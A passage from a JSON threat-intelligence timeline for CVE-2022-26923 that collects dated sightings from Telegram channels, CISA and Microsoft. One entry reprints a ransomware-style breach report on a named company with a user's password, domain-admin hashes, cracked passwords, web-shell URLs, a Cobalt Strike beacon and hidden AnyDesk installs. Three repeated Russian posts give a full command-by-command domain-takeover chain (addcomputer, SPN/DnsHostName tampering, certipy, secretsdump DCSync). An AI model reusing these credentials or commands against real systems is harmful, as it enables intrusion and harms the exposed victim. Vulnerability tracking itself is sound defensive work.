\u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u043c\u043d\u043e\u0433\u043e \u0442\u0435\u043e\u0440\u0438\u0438.\u00a0", "url": "https://t.me/poxek/2374"}, {"timestamp": "2022-09-05T11:00:05Z", "date_only": false, "value": "2022-09-05T11:00:05.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/poxek/2448", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "d39c2d56-cc79-479d-bbda-69f014cb4040", "content": "#\u041d\u043e\u0432\u043e\u0441\u0442\u0438\n\nMetasploit Weekly Wrap-Up\n\nThis week Metasploit has a new ICPR Certificate Management module from Oliver Lyak and our very own Spencer McIntyre, which can be utilized for issuing certificates via Active Directory Certificate Services. It has the capability to issue certificates which is useful in a few contexts including persistence, ESC1 and as a primitive necessary for exploiting CVE-2022-26923. Resulting in the PFX certificate file being stored to loot and is encrypted using a blank password.", "url": "https://t.me/poxek/2448"}, {"timestamp": "2022-09-08T00:00:00Z", "date_only": true, "value": "2022-09-08", "kind": "kev", "label": "Due date", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "evidence.0.details.due_date", "uuid": "b7df40e3-bcb6-4eef-8ba5-b10ddbe05789", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-01-17T08:00:00Z", "date_only": false, "value": "2023-01-17T08:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "document.tracking.revision_history.2.date", "linked_record": true}, {"timestamp": "2023-01-27T14:14:45Z", "date_only": false, "value": "2023-01-27T14:14:45.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "0e97418f-84f2-465d-aafc-160a474c987b", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb"}, {"timestamp": "2023-04-11T07:00:00Z", "date_only": false, "value": "2023-04-11T07:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "document.tracking.revision_history.3.date", "linked_record": true}, {"timestamp": "2023-04-11T07:00:00Z", "date_only": false, "value": "2023-04-11T07:00:00.000Z", "kind": "other", "label": "Updated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2023-06-14T21:10:04Z", "date_only": false, "value": "2023-06-14T21:10:04.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "1f944c8d-294d-418e-a2b5-630e553988c3"}, {"timestamp": "2023-08-18T11:00:39Z", "date_only": false, "value": "2023-08-18T11:00:39.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/snatch_info/129", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "c08f4d76-6ff9-4b20-b4f0-6322d62d53bd", "content": "CyberSnatch, part 1\n\ud83c\udfafReport on the search for vulnerabilities in the local network of ixperta.com, further called \u201ccompany\u201d\n\nInformation:\u00a0\nSlovakia,\u00a0Consumer\u00a0Services\nRevenue:\u00a0$63\u00a0Million\u00a0\nhttps://www.zoominfo.com/c/ixperta-company/369154620\u00a0\nPhone\u00a0Number:\u00a0\n+421\u00a02/322\u00a0927\u00a011\u00a0\nWebsite:\u00a0\nwww.ixperta.com\u00a0\n\u00a0\n\u265fWe found the company's domain on the Internet. By enumerating sub-domains, we found a VPN access point with an address vpn1.ixperta.com. It was a VPN router from Cisco. After conducting reconnaissance of the company in the open network, we were able to find the mailing addresses of their employees. Removed the domain from the address and got a valid login for the Active directory service. By spraying passwords on the logins we found, we gained access to this account \n\nlogin:\u00a0tomas.daniel\u00a0\npassword:\u00a0#JohnvonNeumann7800\u00a0\n\n\ud83c\udfb3 The company uses default settings in the remote VPN access point, and any user from the \"domain users\" group has the right to connect to the VPN point, in addition, no user is in the DMZ zone and by default sees all machines and all open ports on the network.\n\n\ud83c\udfb0 Having found the primary domain controller at the address 172.16.55.100 with the name brndc02.ixperta.local (with the help of the same user tomas.daniel), we completely polled the LDAP server and received all the information about the domain and its objects. \n\nNext step we requested information about the certification authority located at 10.10.10.2 PRGDC01.ixperta.local.\nThe server turned out to be vulnerable to CVE-2022-26923, and having received a certificate with elevated privileges, and we obtained a copy of the ntds database using impacket\nsecretsdump 'ixperta.local/administrator@PRGDC01.ixperta.local' - hashes :a1qw5e8d11e619a41b38fbb938yiy6fb\nWe managed to hack 3 domain administrators account passwords from that database. Got hash for 'administrator@ixperta.local': aad3b435b51404eeaad3b435b51404ee:hidden \u2013 R@mm$te1n\nGot hash for 'a_nikodem@ixperta.local': aad3b435b51404eeaad3b435b51404ee:hidden \u2013 R@mm$te1n\nGot hash for 'a_admin@ixperta.local': aad3b435b51404eeaad3b435b51404ee:hidden - Duben2021 First of all we began to gain a foothold in the system, we hung the first backdoor on their exchange server and web shells were installed at the following addresses https://owa.ixperta.com/owa/auth/exchangeServerErrorSvc.aspx.aspx https://owa.ixperta.com/owa/auth/forgotpassword2.aspx.aspx\n\nOn server 10.20.10.22: brnex03.ixperta.local Cobalt beacon was thrown. At the end we installed hidden AnyDesk on brqb084a.ixperta.local and Money3s.ixperta.local servers.", "url": "https://t.me/snatch_info/129", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2023-11-29T16:13:59Z", "date_only": false, "value": "2023-11-29T16:13:59.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/766", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "3eae56b8-7b7d-4e12-8360-59ed15121127", "content": "#ExploitObserverAlert\n\nCVE-2022-26923\n\nDESCRIPTION: Exploit Observer has 69 entries related to CVE-2022-26923. Active Directory Domain Services Elevation of Privilege Vulnerability.\n\nFIRST-EPSS: 0.005900000\nNVD-IS: 5.9\nNVD-ES: 2.8", "url": "https://t.me/arpsyndicate/766"}, {"timestamp": "2023-12-04T09:46:15Z", "date_only": false, "value": "2023-12-04T09:46:15.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/1171", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "091b2017-e3bb-4866-8b49-dc9f9beb0d08", "content": "#ExploitObserverAlert\n\nCVE-2022-26923\n\nDESCRIPTION: Exploit Observer has 69 entries related to CVE-2022-26923. Active Directory Domain Services Elevation of Privilege Vulnerability.\n\nFIRST-EPSS: 0.006670000\nNVD-IS: 5.9\nNVD-ES: 2.8", "url": "https://t.me/arpsyndicate/1171"}, {"timestamp": "2023-12-13T01:19:38.889Z", "date_only": false, "value": "2023-12-13T01:19:38.889195Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2022-26923", "record": "GSD-2022-26923", "field": "gsd.osvSchema.modified", "linked_record": true}, {"timestamp": "2023-12-18T05:08:25Z", "date_only": false, "value": "2023-12-18T05:08:25.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/1918", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "d14d2f78-9474-4099-b78b-adf45abd8cf9", "content": "#ExploitObserverAlert\n\nCVE-2022-26923\n\nDESCRIPTION: Exploit Observer has 69 entries related to CVE-2022-26923. Active Directory Domain Services Elevation of Privilege Vulnerability.\n\nFIRST-EPSS: 0.006670000\nNVD-IS: 5.9\nNVD-ES: 2.8", "url": "https://t.me/arpsyndicate/1918"}, {"timestamp": "2023-12-19T10:32:37Z", "date_only": false, "value": "2023-12-19T10:32:37.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CherepawwkaChannel/228", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "fb6acf5c-1699-4e83-8063-3ff12732ba72", "content": "Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2022-26923)\ud83d\uddbc\ufe0f\n\n\u041a\u0440\u0430\u0442\u043a\u043e \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e\u0431 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0434\u043e\u043c\u0435\u043d\u0435.\n\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f:\n1. \u0414\u043e\u043c\u0435\u043d\u043d\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c;\n2. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0432 \u0434\u043e\u043c\u0435\u043d;\n3. \u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 Machine;\n4. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0431\u0443\u0434\u0435\u0442 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d, \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0430).\n\n\ud83d\udc0d \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0443\u0442\u0438\u043b\u0438\u0442\u0443 Certipy, \u043a\u0440\u0430\u0442\u043a\u0430\u044f \u0441\u043f\u0440\u0430\u0432\u043a\u0430 \u043f\u043e \u043d\u0435\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0438\u0436\u0435:\n# \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\npip install certipy-ad\n\n# \u0417\u0430\u043f\u0440\u043e\u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\n# \u0434\u043b\u044f certipy-ad v3.0.0:\ncertipy req 'domain.local/username:password@dc.domain.local' -ca 'CA NAME' -template TemplateName\n# \u0434\u043b\u044f certipy-ad v4.8.2:\ncertipy req -u username@domain.local -p password -ca 'CA NAME' -template User -upn thm@domain.local -dc-ip 10.10.10.10\n\n# \u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f NTLM-\u0445\u044d\u0448\u0430:\ncertipy auth -pfx username.pfx -dc-ip 10.10.10.10\n\u041d\u0430\u0447\u043d\u0435\u043c \u0430\u0442\u0430\u043a\u0443 \u0441 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 Impacket-Addcomputer\naddcomputer.py 'domain.local/username:password' -method LDAPS -computer-name 'TESTPC' -computer-pass 'P@ssw0rd'\n\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0434\u043b\u044f \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0448\u0430\u0431\u043b\u043e\u043d Machine) \u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043d\u0438\u043c:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\ncertipy auth -pfx testpc.pfx\n\u0414\u0430\u043b\u0435\u0435 \u0437\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u0445\u043e\u0441\u0442 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c SPN \u0443 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430:\nGet-ADComputer TESTPC -properties dnshostname,serviceprincipalname\nSet-ADComputer TESTPC -DnsHostName DC.domain.local # \u0432\u0435\u0440\u043d\u0451\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u0438\u0437-\u0437\u0430 \u0434\u0443\u0431\u043b\u0438\u0440\u0443\u044e\u0449\u0435\u0439\u0441\u044f SPN\nSet-ADComputer TESTPC -ServicePrincipalName @{} # \u043e\u0431\u043d\u0443\u043b\u044f\u0435\u043c SPN\nSet-ADComputer TESTPC -DnsHostName DC.domain.local\n\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u043d\u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0445\u043e\u0441\u0442 \u0438 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043f\u043e\u043b\u0447\u0435\u043d\u043d\u044b\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c NTLM \u0445\u044d\u0448 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430:\ncertipy auth -pfx dc.pfx\n...\n[*] Got NT hash for 'dc$@domain.local': 14fc9b5814def64289bb694f6659c733\n\u0414\u0430\u043b\u0435\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u043c \u0430\u0442\u0430\u043a\u0443 DCSync \u043b\u044e\u0431\u044b\u043c \u0443\u0434\u043e\u0431\u043d\u044b\u043c \u0434\u043b\u044f \u043d\u0430\u0441 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u043c \u0434\u043e\u043c\u0435\u043d:\nsecretsdump.py 'domain.local/dc$@domain.local' -hashes aad3b435b51404eeaad3b435b51404ee:14fc9b5814def64289bb694f6659c733 -outputfile dcsync.txt\n\u0412\u0435\u043a\u0442\u043e\u0440 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u043a CVE-2022-26923 \u0441\u0440\u0435\u0434\u0435 Active Directory, \u043d\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u0432 \u043d\u0435\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c, \u0442\u043e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0431\u0443\u0434\u0435\u0442 \u0442\u0430\u043a \u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e, \u043a\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 ZeroLogon!\ud83d\udd3a\n#\u043f\u0435\u043d\u0442\u0435\u0441\u0442 #AD", "url": "https://t.me/CherepawwkaChannel/228", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-12-21T00:15:12.770Z", "date_only": false, "value": "2023-12-21T00:15:12.770", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2022-26923", "record": "GSD-2022-26923", "field": "namespaces.nvd.nist.gov.cve.lastModified", "linked_record": true}, {"timestamp": "2024-01-12T07:00:52Z", "date_only": false, "value": "2024-01-12T07:00:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/poxek/3565", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "43776dd1-9bbb-4a73-872f-de25323d4313", "content": "Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2022-26923)\ud83d\uddbc\ufe0f\n\n\u041a\u0440\u0430\u0442\u043a\u043e \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e\u0431 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0434\u043e\u043c\u0435\u043d\u0435.\n\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f:\n1. \u0414\u043e\u043c\u0435\u043d\u043d\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c;\n2. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0432 \u0434\u043e\u043c\u0435\u043d;\n3. \u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 Machine;\n4. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0431\u0443\u0434\u0435\u0442 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d, \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0430).\n\n\ud83d\udc0d \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0443\u0442\u0438\u043b\u0438\u0442\u0443 Certipy, \u043a\u0440\u0430\u0442\u043a\u0430\u044f \u0441\u043f\u0440\u0430\u0432\u043a\u0430 \u043f\u043e \u043d\u0435\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0438\u0436\u0435:\n# \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\npip install certipy-ad\n\n# \u0417\u0430\u043f\u0440\u043e\u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\n# \u0434\u043b\u044f certipy-ad v3.0.0:\ncertipy req 'domain.local/username:password@dc.domain.local' -ca 'CA NAME' -template TemplateName\n# \u0434\u043b\u044f certipy-ad v4.8.2:\ncertipy req -u username@domain.local -p password -ca 'CA NAME' -template User -upn thm@domain.local -dc-ip 10.10.10.10\n\n# \u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f NTLM-\u0445\u044d\u0448\u0430:\ncertipy auth -pfx username.pfx -dc-ip 10.10.10.10\n\u041d\u0430\u0447\u043d\u0435\u043c \u0430\u0442\u0430\u043a\u0443 \u0441 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 Impacket-Addcomputer\naddcomputer.py 'domain.local/username:password' -method LDAPS -computer-name 'TESTPC' -computer-pass 'P@ssw0rd'\n\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0434\u043b\u044f \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0448\u0430\u0431\u043b\u043e\u043d Machine) \u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043d\u0438\u043c:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\ncertipy auth -pfx testpc.pfx\n\u0414\u0430\u043b\u0435\u0435 \u0437\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u0445\u043e\u0441\u0442 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c SPN \u0443 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430:\nGet-ADComputer TESTPC -properties dnshostname,serviceprincipalname\nSet-ADComputer TESTPC -DnsHostName DC.domain.local # \u0432\u0435\u0440\u043d\u0451\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u0438\u0437-\u0437\u0430 \u0434\u0443\u0431\u043b\u0438\u0440\u0443\u044e\u0449\u0435\u0439\u0441\u044f SPN\nSet-ADComputer TESTPC -ServicePrincipalName @{} # \u043e\u0431\u043d\u0443\u043b\u044f\u0435\u043c SPN\nSet-ADComputer TESTPC -DnsHostName DC.domain.local\n\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u043d\u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0445\u043e\u0441\u0442 \u0438 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043f\u043e\u043b\u0447\u0435\u043d\u043d\u044b\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c NTLM \u0445\u044d\u0448 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430:\ncertipy auth -pfx dc.pfx\n...\n[*] Got NT hash for 'dc$@domain.local': 14fc9b5814def64289bb694f6659c733\n\u0414\u0430\u043b\u0435\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u043c \u0430\u0442\u0430\u043a\u0443 DCSync \u043b\u044e\u0431\u044b\u043c \u0443\u0434\u043e\u0431\u043d\u044b\u043c \u0434\u043b\u044f \u043d\u0430\u0441 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u043c \u0434\u043e\u043c\u0435\u043d:\nsecretsdump.py 'domain.local/dc$@domain.local' -hashes aad3b435b51404eeaad3b435b51404ee:14fc9b5814def64289bb694f6659c733 -outputfile dcsync.txt\n\u0412\u0435\u043a\u0442\u043e\u0440 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u043a CVE-2022-26923 \u0441\u0440\u0435\u0434\u0435 Active Directory, \u043d\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u0432 \u043d\u0435\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c, \u0442\u043e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0431\u0443\u0434\u0435\u0442 \u0442\u0430\u043a \u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e, \u043a\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 ZeroLogon!\ud83d\udd3a\n#\u043f\u0435\u043d\u0442\u0435\u0441\u0442 #AD", "url": "https://t.me/poxek/3565", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-01-12T16:11:38Z", "date_only": false, "value": "2024-01-12T16:11:38.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/S_E_Reborn/4401", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "c8f9cf71-2fb8-4d4c-a096-3479479c9491", "content": "Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2022-26923)\ud83d\uddbc\ufe0f\n\n\u041a\u0440\u0430\u0442\u043a\u043e \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e\u0431 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 